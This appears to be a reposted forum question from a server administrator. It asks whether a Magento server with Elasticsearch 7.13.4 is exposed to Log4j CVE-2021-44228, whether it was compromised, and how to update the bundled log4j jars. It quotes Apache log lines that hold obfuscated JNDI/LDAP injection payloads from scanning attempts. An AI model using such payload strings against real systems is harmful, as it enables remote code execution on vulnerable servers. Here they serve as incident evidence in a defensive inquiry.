server setup – Log4j CVE-2021-44228 Magento 2.3 / 2.4 with ElasticSearch

Has someone checked if a Magento 2.3/2.4 installation with ElasticSearch is vulnerable to the Log4j exploit CVE-2021-44228?

I’ve checked for the relevant .jar files in the ElasticSearch Apache CVE-2021-44228 page and found.

  • /usr/share/elasticsearch/lib/log4j-core-2.11.1.jar
  • /usr/share/elasticsearch/lib/log4j-api-2.11.1.jar

I checked the apache logfiles for malicious code and found multiple requests.

[11/Dec/2021:01:13:20 +0100] “GET / HTTP/1.1” 200 57872 “-” “${jndi:${lower:l}${lower:d}a${lower:p}://log4j.bin${upper:a}}”
[12/Dec/2021:06:24:51 +0100] “GET /?x=${jndi:} HTTP/1.1″ 200 57835 “${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://}” “${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://}”
[10/Dec/2021:21:01:46 +0100] “GET / HTTP/1.1” 200 57872 “-” “${jndi:}”

So I thought they gained access to the server but I’m still not fully sure.

I found the malicious code in the default apache logfile and in log files of other domains running on the same server (simple websites) and not in the apache log file of the Magento domain.

  1. Question: – Is the server compromised if the malicious code appears only in the Apache2 logfile and not in Elasticsearch log files? I thought that code have to go through an app that uses log4j for logging so the Apache2 web server should be fine with that?

  2. Question: How do you update those .jar files? Do we need to wait for an ElasticSearch update? (Currently installed: 7.13.4)

Currently, I can’t spot any processes with high CPU usage or an increase in disk usage that would indicate something like a crypto miner.

Read more here: Source link